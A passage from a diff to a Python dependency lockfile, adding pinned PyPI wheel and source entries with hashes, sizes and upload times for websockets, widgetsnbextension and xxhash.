"2026-01-10T09:23:27.033Z" }, + { url = "https://files.pythonhosted.org/packages/e5/2d/7583b30208b639c8090206f95073646c2c9ffd66f44df967981a64f849ad/websockets-16.0-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:50f23cdd8343b984957e4077839841146f67a3d31ab0d00e6b824e74c5b2f6e8", size = 185331, upload-time = "2026-01-10T09:23:28.259Z" }, + { url = "https://files.pythonhosted.org/packages/45/b0/cce3784eb519b7b5ad680d14b9673a31ab8dcb7aad8b64d81709d2430aa8/websockets-16.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:152284a83a00c59b759697b7f9e9cddf4e3c7861dd0d964b472b70f78f89e80e", size = 186501, upload-time = "2026-01-10T09:23:29.449Z" }, + { url = "https://files.pythonhosted.org/packages/19/60/b8ebe4c7e89fb5f6cdf080623c9d92789a53636950f7abacfc33fe2b3135/websockets-16.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:bc59589ab64b0022385f429b94697348a6a234e8ce22544e3681b2e9331b5944", size = 186062, upload-time = "2026-01-10T09:23:31.368Z" }, + { url = "https://files.pythonhosted.org/packages/88/a8/a080593f89b0138b6cba1b28f8df5673b5506f72879322288b031337c0b8/websockets-16.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:32da954ffa2814258030e5a57bc73a3635463238e797c7375dc8091327434206", size = 185356, upload-time = "2026-01-10T09:23:32.627Z" }, + { url = "https://files.pythonhosted.org/packages/c2/b6/b9afed2afadddaf5ebb2afa801abf4b0868f42f8539bfe4b071b5266c9fe/websockets-16.0-cp314-cp314t-win32.whl", hash = "sha256:5a4b4cc550cb665dd8a47f868c8d04c8230f857363ad3c9caf7a0c3bf8c61ca6", size = 178085, upload-time = "2026-01-10T09:23:33.816Z" }, + { url = "https://files.pythonhosted.org/packages/9f/3e/28135a24e384493fa804216b79a6a6759a38cc4ff59118787b9fb693df93/websockets-16.0-cp314-cp314t-win_amd64.whl", hash = "sha256:b14dc141ed6d2dde437cddb216004bcac6a1df0935d79656387bd41632ba0bbd", size = 178531, upload-time = "2026-01-10T09:23:35.016Z" }, + { url = "https://files.pythonhosted.org/packages/72/07/c98a68571dcf256e74f1f816b8cc5eae6eb2d3d5cfa44d37f801619d9166/websockets-16.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:349f83cd6c9a415428ee1005cadb5c2c56f4389bc06a9af16103c3bc3dcc8b7d", size = 174947, upload-time = "2026-01-10T09:23:36.166Z" }, + { url = "https://files.pythonhosted.org/packages/7e/52/93e166a81e0305b33fe416338be92ae863563fe7bce446b0f687b9df5aea/websockets-16.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:4a1aba3340a8dca8db6eb5a7986157f52eb9e436b74813764241981ca4888f03", size = 175260, upload-time = "2026-01-10T09:23:37.409Z" }, + { url = "https://files.pythonhosted.org/packages/56/0c/2dbf513bafd24889d33de2ff0368190a0e69f37bcfa19009ef819fe4d507/websockets-16.0-pp311-pypy311_pp73-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:f4a32d1bd841d4bcbffdcb3d2ce50c09c3909fbead375ab28d0181af89fd04da", size = 176071, upload-time = "2026-01-10T09:23:39.158Z" }, + { url = "https://files.pythonhosted.org/packages/a5/8f/aea9c71cc92bf9b6cc0f7f70df8f0b420636b6c96ef4feee1e16f80f75dd/websockets-16.0-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0298d07ee155e2e9fda5be8a9042200dd2e3bb0b8a38482156576f863a9d457c", size = 176968, upload-time = "2026-01-10T09:23:41.031Z" }, + { url = "https://files.pythonhosted.org/packages/9a/3f/f70e03f40ffc9a30d817eef7da1be72ee4956ba8d7255c399a01b135902a/websockets-16.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:a653aea902e0324b52f1613332ddf50b00c06fdaf7e92624fbf8c77c78fa5767", size = 178735, upload-time = "2026-01-10T09:23:42.259Z" }, + { url = "https://files.pythonhosted.org/packages/6f/28/258ebab549c2bf3e64d2b0217b973467394a9cea8c42f70418ca2c5d0d2e/websockets-16.0-py3-none-any.whl", hash = "sha256:1637db62fad1dc833276dded54215f2c7fa46912301a24bd94d45d46a011ceec", size = 171598, upload-time = "2026-01-10T09:23:45.395Z" }, +] + +[[package]] +name = "widgetsnbextension" +version = "4.0.15" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/bd/f4/c67440c7fb409a71b7404b7aefcd7569a9c0d6bd071299bf4198ae7a5d95/widgetsnbextension-4.0.15.tar.gz", hash = "sha256:de8610639996f1567952d763a5a41af8af37f2575a41f9852a38f947eb82a3b9", size = 1097402, upload-time = "2025-11-01T21:15:55.178Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3f/0e/fa3b193432cfc60c93b42f3be03365f5f909d2b3ea410295cf36df739e31/widgetsnbextension-4.0.15-py3-none-any.whl", hash = "sha256:8156704e4346a571d9ce73b84bee86a29906c9abfd7223b7228a28899ccf3366", size = 2196503, upload-time = "2025-11-01T21:15:53.565Z" }, +] + +[[package]] +name = "xxhash" +version = "3.8.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/78/ed/07e560876a4458987511461187b285071f53cde49dd5b25cd8c51091522b/xxhash-3.8.0.tar.gz", hash = "sha256:d72b2204f37840b0f16f34192c09b994b97bd25823d723d47a1eddfacf06eb43", size = 86107, upload-time = "2026-06-27T08:17:28.798Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/4f/d1/36cdfc7d9a5cdcebb2ff3eeeaebae2c51a7aca50de27a44520af4d6923fa/xxhash-3.8.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:a2289857ab90ebb2408d4ac2b7cf7e9ff29bba9d2cb21020c9d11fbbaef78eea", size = 34638, upload-time = "2026-06-27T08:12:17.753Z" }, + { url = "https://files.pythonhosted.org/packages/8e/37/f3439475537ca4c59e9b8cbc2b934672d1965b13b6e5fb32b1796c76e517/xxhash-3.8.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d211cfa927a107df09359d1f31070883a11121ddc88fd6dd27eda3a497a88f3d", size = 32316, upload-time = "2026-06-27T08:12:19.332Z" }, + { url = "https://files.pythonhosted.org/packages/a7/3e/3878d943d9169fd8f5ad8d2bffa7dfec14430f8240ef20213772a7ef3dce/xxhash-3.8.0-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:ba02f4cc4e71e1315ecac0468189b49bf3970da05ddf0b6965b4a9b1fe147e62", size = 217379, upload-time = "2026-06-27T08:12:20.742Z" }, + { url = "https://files.pythonhosted.org/packages/af/8a/096f0bf4e4d33b5afcb27e7907d54f84ae3c581509188dca1083995aefd9/xxhash-3.8.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:342d1a6f161741f8612dc38d940ec0019ae3362c0ede2d16554c1b4e3f1d5444", size = 237734, upload-time = "2026-06-27T08:12:22.312Z" }, + { url = "https://files.pythonhosted.org/packages/0e/5b/811939d5d3fdf9b4a9cad7591759cc82c3c4734afb0138917ec3b3fc4fd5/xxhash-3.8.0-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:75feec84a48cafd3b2446cb41910bebaf9a8150e2313c1f42887435818fb7b4c", size = 262522, upload-time = "2026-06-27T08:12:23.869Z" }, + { url = "https://files.pythonhosted.org/packages/3e/e4/50e2b55b1390895214bdd9dc6a75d4c31e0283d646d2cae424962585427a/xxhash-3.8.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:53e8f6cc0cc24283d98e9c742a0f0a5ded7a810abc4038b9e885e419fcd44e43", size = 238441, upload-time = "2026-06-27T08:12:25.95Z" }, + { url = "https://files.pythonhosted.org/packages/4b/fa/725fbd70cc69b2738599c3e1b499941663b6ccef92aec7c78a4c9968f2d0/xxhash-3.8.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:73d04a4520cc7313acf4ff2122f783056d0592c71fc3a59e90fe0baeb499d124", size = 469833, upload-time = "2026-06-27T08:12:27.678Z" }, + { url = "https://files.pythonhosted.org/packages/86/e6/d80a2fcbd80f024d8e74a579aad538c5a24c6b672e6ce8180a9a8bfc2231/xxhash-3.8.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d5a7fdfde5022f5000c8e6565db954580d19a8aa497ef80875f461e4546ed182", size = 217094, upload-time = "2026-06-27T08:12:29.221Z" }, + { url = "https://files.pythonhosted.org/packages/a9/c0/6d85ebdc1e488df9e37c3a2267a8b98a936a36d968560cfb0389307fd19f/xxhash-3.8.0-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:6a667f0dd160ec0ff6dddf42f2d75ad82660074285855f6037d6ecb57d40d0f8", size = 307502, upload-time = "2026-06-27T08:12:30.782Z" }, + { url = "https://files.pythonhosted.org/packages/ca/a2/4b97a5e4fb3450fe0c4b361399f74679a491b3b0bed914bff6d00e70425f/xxhash-3.8.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:aaaf53eb633205f01bb5fb807f6244bd34af121bfb1e21eedc925374aff5723e", size = 234622, upload-time = "2026-06-27T08:12:32.075Z" }, + { url = "https://files.pythonhosted.org/packages/e7/7e/5a227460f92ec7309219730ddfb7451e09e8aa3e0704cfb0f24746686a0f/xxhash-3.8.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:71b2e99a02fd5275b7ecab0b01130395beed4c6f027b6ce9f0730025634e7091", size = 265697, upload-time = "2026-06-27T08:12:33.559Z" }, + { url = "https://files.pythonhosted.org/packages/4e/31/56327a7b39dd3c605034f9b51c89d66aad022aacbe12aabeb6e335652d48/xxhash-3.8.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:b25437ffd781d4cb98acef87f4bc32e27682f603ffd27ed5962948b516e777ff", size = 221932, upload-time = "2026-06-27T08:12:34.997Z" }, + { url = "https://files.pythonhosted.org/packages/41/a0/312504d1851969c62e3f2836eec5b16f3682edfae19aa60e6d69ee80d111/xxhash-3.8.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:fe0ee773fd6c211b3b0134ee5d6fd6348411bd7bd79cdb4151d0aaf732179571", size = 236819, upload-time = "2026-06-27T08:12:36.66Z" }, + { url = "https://files.pythonhosted.org/packages/5d/23/d8f80cb1b1acede29ce76a39e013e5782712ab895bbffb32fe2e42b8eadd/xxhash-3.8.0-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:06c74e537f45c2f71010738d4d20741186cac29a035ec5c1c621c723d656c2fd", size = 297860, upload-time = "2026-06-27T08:12:38.103Z" }, + { url = "https://files.pythonhosted.org/packages/34/e9/4fdc697dcff5a73157ee34331e37849ada645448d4e47a38cb8a4044eafd/xxhash-3.8.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:718162a608eb85a22470725f95d63d834b1d7db98a2008b10309cd5a552d91ad", size = 439263, upload-time = "2026-06-27T08:12:39.808Z" }, + { url = "https://files.pythonhosted.org/packages/60/07/41a5144d7fd1c1f2b380de36521f7f34d624eef0374736515087ead7b925/xxhash-3.8.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:934cd5008d86e201818ca4416a4202039ea29edd89047166fea5c49999677bea", size = 213953, upload-time = "2026-06-27T08:12:41.528Z" }, + { url = "https://files.pythonhosted.org/packages/44/e4/7bc12b2fc9f340c446054b6f0e90e5b54c8021a4f9f6b1650054796009e9/xxhash-3.8.0-cp310-cp310-win32.whl", hash = "sha256:1f2c243a385e2c2ce72f5b7d68f3a621cc7d2ee2d0f35e0ca6bf5427ef1922a4", size = 31858, upload-time = "2026-06-27T08:12:43.139Z" }, + { url = "https://files.pythonhosted.org/packages/46/6a/3a61102925bf65ad81827a4586553a357f8a5316a25b938ef435e0bfabf8/xxhash-3.8.0-cp310-cp310-win_amd64.whl", hash = "sha256:cb4996d43a42d825e2aa6f2b6a978b2a7779397b6a28e4fab5eb9505457023e4", size = 32659, upload-time = "2026-06-27T08:12:45.029Z" }, + { url = "https://files.pythonhosted.org/packages/06/c6/39d915926f45f72059519688b538a068efbea0307a294eba1ddb18887c0e/xxhash-3.8.0-cp310-cp310-win_arm64.whl", hash = "sha256:b3a79d694adcfd70d118c73d244eaece7f5f5ab424feb44573bd1d377e1bf0ea", size = 29128, upload-time = "2026-06-27T08:12:46.447Z" }, + { url = "https://files.pythonhosted.org/packages/e3/1b/73aaae7755372ff0cd5788c9955abb64b34d519dd84f2f4f081e2082119b/xxhash-3.8.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:08c34553cd7ceb3bfcfca344dc70305a45430429b5d58a67750f2a58364f638f", size = 34641, upload-time = "2026-06-27T08:12:47.579Z" }, + { url = "https://files.pythonhosted.org/packages/53/08/fdb1cb1001ed15b1f74a8eb70457dbdcd6df8375e27e3fe0d0225dbab170/xxhash-3.8.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:842d147983110e5a4f533f98f4f5bc851a08c7ca00aaa30649e8d5f9a6d4e47a", size = 32316, upload-time = "2026-06-27T08:12:48.695Z" }, + { url = "https://files.pythonhosted.org/packages/d7/05/c004e99c4292a9dde76c9157e8e51c73c6db2dd7e4a876712e6a6113e3b0/xxhash-3.8.0-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:37c9943e18f569f76a8b7d5d01bfe0716f7762c396096ceb42a47eb3d5ecf641", size = 220196, upload-time = "2026-06-27T08:12:49.964Z" }, + { url = "https://files.pythonhosted.org/packages/a0/b2/8696a2008d59c3dc9346b26f7d64f5ec342cacc4051664e3b0201354fe58/xxhash-3.8.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:21f6797afdc7abb0ffae059a0d1619c84a5368115bc0abd48f9803ab56a5d35e", size = 240908, upload-time = "2026-06-27T08:12:51.544Z" }, + { url = "https://files.pythonhosted.org/packages/da/ee/2415c55a17f525bcfa38b5b51d69381d6485b1c320eff373b263403b5e6b/xxhash-3.8.0-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:5875d99d3540367d43779551dd22c813420b84a103e418d791095b9808fdca57", size = 264445, upload-time = "2026-06-27T08:12:53.08Z" }, + { url = "https://files.pythonhosted.org/packages/23/25/056d30ed2e500d0a993e4589da8cdbe50cbf4809c1b1ac84f6f9559d99ba/xxhash-3.8.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:1a54ad5a2a96cdf1ee7a935d38bc63daa6095530095a916f644f1ab76604ced5", size = 241295, upload-time = "2026-06-27T08:12:54.703Z" }, + { url = "https://files.pythonhosted.org/packages/7e/70/5d8c9b65ae05725c2ea8f331705e1382fc4817911eb159450aecb2905c6b/xxhash-3.8.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b32e50dd85f0b67b2b95eb59cd3242052f6b27b70e9e73b27629686c592e3ea3", size = 473113, upload-time = "2026-06-27T08:12:56.159Z" }, + { url = "https://files.pythonhosted.org/packages/6f/d4/734dd8e6eaa03b0c4e3044127755221ebf153260a3c5de0382430486fcaf/xxhash-3.8.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5e4208fb85c950ddf7118b040bca15179c3bf9b7eb8bebe5e6ef067fc8af16a7", size = 220001, upload-time = "2026-06-27T08:12:57.869Z" }, + { url = "https://files.pythonhosted.org/packages/5b/cc/a0d92359d499db55f83fe6de13188125515319b968bd627b591a0984c454/xxhash-3.8.0-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9f17e09b035f2a0139536da53deb392b62ee259dc2a2189be12b06a7dd50489b", size = 309757, upload-time = "2026-06-27T08:12:59.438Z" }, + { url = "https://files.pythonhosted.org/packages/bc/dd/a20949401cfb9c940ef858d93b41ded90382ff4be0f7e8a5249edd95ff18/xxhash-3.8.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:7d6dbb976d6e3b3be51bad16b13de7f4980e6aebd0aa51c5a14dfcc0fedd495e", size = 237596, upload-time = "2026-06-27T08:13:00.992Z" }, + { url = "https://files.pythonhosted.org/packages/99/5d/6963ee0c245a69d9c4a2583da603915f9288f1df23700a0ec705239ef014/xxhash-3.8.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:281897e5c516769694c999f5c50fd1e9acb27acbff187282a8ac77c38b6a9be5", size = 268683, upload-time = "2026-06-27T08:13:02.577Z" }, + { url = "https://files.pythonhosted.org/packages/db/ea/3489cde91ccd91230efbb2351a6d9358e8a63a9954cb8f071fa9c32a2558/xxhash-3.8.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:8fba3d08c246201a1a0a6cece53a0b3b0890fc16adbe1edb245fcfcbf4eb0ce2", size = 224882, upload-time = "2026-06-27T08:13:04.21Z" }, + { url = "https://files.pythonhosted.org/packages/f3/f6/179847064c92a07bba7381e9cd7132c380a17aad31e176a2d6f6e73eed48/xxhash-3.8.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:14ebc1559e8a9a481d0d5506b87678942fcdfa794d4aa55cdd2a0fb175d4245a", size = 239563, upload-time = "2026-06-27T08:13:05.96Z" }, + { url = "https://files.pythonhosted.org/packages/2d/83/dd599670efd161d31fba4149e20694f140ae5707068d38ac480dac1c8cd5/xxhash-3.8.0-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:5e7a3e3bbe3a56bff70acc9b72576670e793b0184de3d1b9cda2bf697d17f630", size = 300148, upload-time = "2026-06-27T08:13:07.495Z" }, + { url = "https://files.pythonhosted.org/packages/e8/a8/a474f136610594b464ad813f6badf00b931211a69fc86542c21daf5d2a4d/xxhash-3.8.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:9c71e3755a8320d29c351126d550930349be22b44bac1a559caf12ab78b53e9f", size = 442448, upload-time = "2026-06-27T08:13:09.467Z" }, + { url = "https://files.pythonhosted.org/packages/75/86/054032919fc73b72917054cf731be76be3a984e8f53b1d0ba6f22fb9cffc/xxhash-3.8.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:715c611582004e75010517b919776c5dbc00aae03054dc9fd72484a23fd1862f", size = 216755, upload-time = "2026-06-27T08:13:10.902Z" }, + { url = "https://files.pythonhosted.org/packages/3c/16/2eb382a78f12e3fde1c735b57607498c0efe897e8859484d69d9446bba55/xxhash-3.8.0-cp311-cp311-win32.whl", hash = "sha256:41a30a1d0ba978238742a374875c15979e0faed0a65294f3ff4d9410057ee8b6", size = 31851, upload-time = "2026-06-27T08:13:12.281Z" }, + { url = "https://files.pythonhosted.org/packages/dd/53/a07ad4dbdc32118b3bd190f5d54ee2ed28c1a0a994b52ae493435cfb4de7/xxhash-3.8.0-cp311-cp311-win_amd64.whl", hash = "sha256:43705f917b8b817d6994851bf3725b98b4c95e64186404d9a6dbc1acf12fd140", size = 32655, upload-time = "2026-06-27T08:13:13.394Z" }, + { url = "https://files.pythonhosted.org/packages/e1/87/d76bef62a288a1f2441404b33cb757047cf555cd5956b36ed718a38b81e9/xxhash-3.8.0-cp311-cp311-win_arm64.whl", hash = "sha256:35c5d843bb7ac1dfdb125ef4181fe4c2e01c2275856e6b699de89e9eb5c69c8d", size = 29128, upload-time = "2026-06-27T08:13:15.371Z" }, + { url = "https://files.pythonhosted.org/packages/17/2e/4b7c3ab28b7a54ac17eae7e02471c49609d6fc5900856a455feeb847a2a3/xxhash-3.8.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:fc4bd14f873cd0b420f6f1ff5b5cd0dbfeb05b044a11bb9345bcbbf9749636e3", size = 34623, upload-time = "2026-06-27T08:13:16.696Z" }, + { url = "https://files.pythonhosted.org/packages/43/e4/09eea3e1bba6a59d64599cb8fba39f2a0872d06e85420eae989a4da61a9d/xxhash-3.8.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:31904979198e913239cb61b49f5b849696aeb3b03340da815d1491ec74dcc602", size = 32318, upload-time = "2026-06-27T08:13:18.036Z" }, + { url = "https://files.pythonhosted.org/packages/01/59/688bbae31e4e2d6d6eb92acbd3837c0e44ff8c7d435e6da922844ff6efda/xxhash-3.8.0-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:7338ad13f2b273a1ef0ea97b2db0a059fdb3a1a29298bfa145937c0e4152d341", size = 220461, upload-time = "2026-06-27T08:13:19.311Z" }, + { url = "https://files.pythonhosted.org/packages/2d/de/71484ce0dab2fa4a475705d1ebc37a17ff02d40e5df6767b3255cc53120e/xxhash-3.8.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:54e80e803cb34c8a1d278b491e543af40a588d288589c3e6becc991d5328b46b", size = 241110, upload-time = "2026-06-27T08:13:20.844Z" }, + { url = "https://files.pythonhosted.org/packages/bf/f9/1ac88f02e7df7898541490260b21f2b7f7bd2b233038a0cbd3a3b1bffdc2/xxhash-3.8.0-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:353953ea18f5c3fbdd13936fb536aacfb47d5bc06eef0919b1a355df61f7cc31", size = 264779, upload-time = "2026-06-27T08:13:22.485Z" }, + { url = "https://files.pythonhosted.org/packages/25/49/7ea1f128d2fe948ed679020f97a0896cdc6c975da5cc69b53a4a9c4a5def/xxhash-3.8.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:d761f983a315630eff18c2fec7360c6b6946f82748026e779336eb8141ef3eba", size = 242609, upload-time = "2026-06-27T08:13:24.277Z" }, + { url = "https://files.pythonhosted.org/packages/a0/da/7d237278dfa1c48722c31010c84a328a317b8885429c8cb6ae4a8fa3e3db/xxhash-3.8.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f3786a9beb9a3b76241cb7db5f5388b460682c12204236389e3221963fc626a6", size = 473472, upload-time = "2026-06-27T08:13:25.877Z" }, + { url = "https://files.pythonhosted.org/packages/9b/5f/980fda82620a07d80026b4df371cbca12fca0fd94d7087c4ec5d898da76f/xxhash-3.8.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a2c94f5a9a775f36cc522fa2a7e8e2cec512e252d2ac056759f753dc68a79ffc", size = 220374, upload-time = "2026-06-27T08:13:27.366Z" }, + { url = "https://files.pythonhosted.org/packages/14/71/efa37bc3e91e1c801972bcef99eab877fcbd17ec10aca16c550ee2951107/xxhash-3.8.0-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:55ce59f9af37ac861947b43ea3ce7b294b5de77a1234b558d0f07ffad0197624", size = 310220, upload-time = "2026-06-27T08:13:28.804Z" }, + { url = "https://files.pythonhosted.org/packages/9d/48/19e40320044dc7051e8446505f18557d5661853b87a8770ad399325bb3c8/xxhash-3.8.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3afa1422a32c7c8e79ad5121dc21eaa5cee9e9e67bffca3f15d15d220d371908", size = 238100, upload-time = "2026-06-27T08:13:30.378Z" }, + { url = "https://files.pythonhosted.org/packages/d3/0d/588499f4d7cd064864ada7adfb9e8785f88a988f1332ed4c1be73d249c15/xxhash-3.8.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:551fda694938be910529452a89175137c58b4739e41fadff3c047e24b1d74a3b", size = 268937, upload-time = "2026-06-27T08:13:31.867Z" }, + { url = "https://files.pythonhosted.org/packages/54/18/fb2ad593572a33d1b6864b33047b8ca7269273a3c56107b5fd33e0b9c8fb/xxhash-3.8.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:512eb937c9457e6057e230e005c4709dd2ab63a5989f854d69f31db905750a62", size = 224910, upload-time = "2026-06-27T08:13:33.659Z" }, + { url = "https://files.pythonhosted.org/packages/63/9e/b880f9ed61b73492e24bb962d76aeb63f18ccb895f0edfb52e20d45ed6f2/xxhash-3.8.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:4931ea93840f750a908efebaf23c71004feacc1a4649ef601b96d400a505c9a9", size = 240742, upload-time = "2026-06-27T08:13:35.237Z" }, + { url = "https://files.pythonhosted.org/packages/3f/89/fc682f93e54e486fc338b26a7d6d0d5cb0ab366269273c2608ac62b51afb/xxhash-3.8.0-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:2fd4b60e8d9fc3923f39079f185b3425e6d76636fcb66d82a33dd7eba7c30f2f", size = 300527, upload-time = "2026-06-27T08:13:36.997Z" }, + { url = "https://files.pythonhosted.org/packages/80/71/a4b4122afb2d17ad69e0922cfeddb5ad5c25b02f37eed3dd3819d42e5f55/xxhash-3.8.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:1da00075f1605794298878cb587f7533329693e2a0c45bbd25d6353644add675", size = 443195, upload-time = "2026-06-27T08:13:38.719Z" }, + { url = "https://files.pythonhosted.org/packages/d5/e5/ed3930f5dc90f4b1bab5ac3be099e8b2e81c1262d85e4adb5f2758e30d23/xxhash-3.8.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:ba73801c87d44fa37b2a5feab3004f0a654506027bf032ceb154d94bb74ea772", size = 217252, upload-time = "2026-06-27T08:13:41.179Z" }, + { url = "https://files.pythonhosted.org/packages/44/ae/128ea5794387ca54bb4084566db20dbdfc9c21cb17b67d3fcb403927b5ba/xxhash-3.8.0-cp312-cp312-win32.whl", hash = "sha256:0b0836dee6022e22ba516ebfa8f76c6e4bda08d6c166c553e40867bac89e4a54", size = 31890, upload-time = "2026-06-27T08:13:42.568Z" }, + { url = "https://files.pythonhosted.org/packages/4f/04/a6c182dc566c88e8d1a497d22cc4ffdcfcc0a9fa80325efa6cd4b9002c54/xxhash-3.8.0-cp312-cp312-win_amd64.whl", hash = "sha256:3bc2a09b98b8f85c75208cd2b2d2aecf40c77ecb2d72f6bf9757db51a98d3499", size = 32677, upload-time = "2026-06-27T08:13:43.705Z" }, + { url = "https://files.pythonhosted.org/packages/93/b5/aeda4e79f962c8d58ec60cb20a5abfe91c9f7d62e626f69f6659bc0bd0c4/xxhash-3.8.0-cp312-cp312-win_arm64.whl", hash = "sha256:208e6a8b93426896d803224e9fabe26f8b9c651e8381a80b1fa31812faa091e3", size = 29155, upload-time = "2026-06-27T08:13:44.903Z" }, + { url = "https://files.pythonhosted.org/packages/ec/1f/96f43c5c7c7c4d44721f8d2e5d74698c667a30283c4b10a7e50a56804ee3/xxhash-3.8.0-cp313-cp313-android_21_arm64_v8a.whl", hash = "sha256:36434c1d1b0a4729df1fa26ab11bffed1ba52666c0beb605c98a995b470cd143", size = 38508, upload-time = "2026-06-27T08:13:46.152Z" }, + { url = "https://files.pythonhosted.org/packages/1c/d9/7d5d6af4876c6481f2e0acb2dda64dd5209574bf7ba1ad4f6af7a1f8d473/xxhash-3.8.0-cp313-cp313-android_21_x86_64.whl", hash = "sha256:a5e6497cefcb2d67f1745c66df9718a99112583af6cc2b70da0312a2eb939f1e", size = 36542, upload-time = "2026-06-27T08:13:47.497Z" }, + { url = "https://files.pythonhosted.org/packages/32/ff/66fed439d78c5a09a1491a85af29bf8923b516530116731a9ac6b14dee2b/xxhash-3.8.0-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:5b00b82f1be708da9404fefd658cf5cf3be5ee3be2aae4bfe3b874255badd342", size = 31102, upload-time = "2026-06-27T08:13:48.721Z" }, + { url = "https://files.pythonhosted.org/packages/56/b8/9fae0399281095f8aca1f32b21947b3c3c75ad6021b255c5c6e4b11d3866/xxhash-3.8.0-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:38b0cb0ab7f283413b7cace2bf710d7cf8f702ea82cbc683908691d52028a89b", size = 32096, upload-time = "2026-06-27T08:13:50.138Z" }, + { url = "https://files.pythonhosted.org/packages/61/a4/e53d162c74a8a2950dc063969914387b0680da4c7c20ad17744ec03a3b0a/xxhash-3.8.0-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:084312171a9798dea85e924b2674f5e1a44933050a1ea1cb1c6b1364e004c66c", size = 34585, upload-time = "2026-06-27T08:13:51.572Z" }, + { url = "https://files.pythonhosted.org/packages/69/f5/e12397e3f2c4917b6572e103a3277cd27cc56330e304bba61d195d7e5224/xxhash-3.8.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:6a1a9e845bd3bbc57d9356819e0d198fe23282e0576b398a6282a0f8fdc75aef", size = 34622, upload-time = "2026-06-27T08:13:52.818Z" }, + { url = 